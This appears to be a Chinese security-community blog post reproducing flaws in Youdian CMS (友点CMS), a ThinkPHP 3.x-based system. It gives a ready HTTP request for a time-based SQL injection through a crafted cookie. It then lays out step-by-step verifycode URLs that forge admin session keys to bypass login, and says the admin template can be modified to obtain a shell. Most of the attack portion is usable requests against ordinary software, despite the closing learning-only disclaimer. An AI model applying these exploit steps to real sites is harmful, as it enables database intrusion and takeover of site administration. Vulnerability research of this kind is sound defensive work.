友点CMS GETSHELL

白帽子社区

共 1883字,需浏览 4分钟

 ·

2021-07-07 17:51

作者:Ca1y0n 编辑:白帽子社区运营团队




    "白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)

"    



在逛论坛的时候发现该漏洞,于是本地搭建环境复现了一下


SQL注入漏洞
该框架基于thinkphp 3.x 开发
这里cookie是可控的,跟踪调用$this->_fromuser的值

$this->_fromuser
在App/Lib/Action/Home/ChannelAction.class.php 进行了调用
App/Lib/Action/Home/ChannelAction.class.php

继续跟踪hasVoted函数

利用POC
GET /test/yd//index.php/Channel/voteAdd HTTP/1.1Host: 192.168.2.152User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: youdianfu[0]=exp;youdianfu[1]==(select 1 from(select sleep(2))a)Upgrade-Insecure-Requests: 1
构造延时注入

SESSION伪造



       后端登陆判断
 App/Lib/Action/AdminBaseAction.class.php

检验登陆的函数主要是isLogin 和checkPurview

isLogin 和checkPurview
此处检查了session中的字段,要求不为空

此处函数获取session值。而且为弱比较

Session的设置
漏洞位置

App/Lib/Action/BaseAction.class.php
这里获取验证码的参数都是可控的,访问

http://IP/index.php/base?a=verifycode&verify=

跟进buildImageVerify函数,发现能够控制session的键名,值则是对产生的字符进行md5加密,不可控

根据后台登陆的权限校验,可以设置session键值名绕过登陆

首先请求,获取session

http://IP/index.php/base?a=verifycode&verify=AdminID
获取的session 添加到请求头中,再去访问

http://IP/index.php/base?a=verifycode&verify=AdminName

接着在访问

http://IPindex.php/base?a=verifycode&verify=AdminGroupID&mode=1&length=2
然后打开浏览器替换掉cookie 就可以登陆后台了
登陆后不一定是管理员的权限,但由于是弱类型比较,md5可以使用脚本进行碰撞
后台可通过修改模板进行getshell
若文章有错误,还望各位大佬多多指出。
参考:https://forum.butian.net/share/132
文章仅用于学习交流,请勿用于非法用途。


往期精彩文章




漏洞复现合集
docker下安全问题总结
通达OA漏洞整理
jumpserver RCE复现(附带POC)



技术支持:白帽子社区团队
— 扫码关注我们 


浏览 83
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报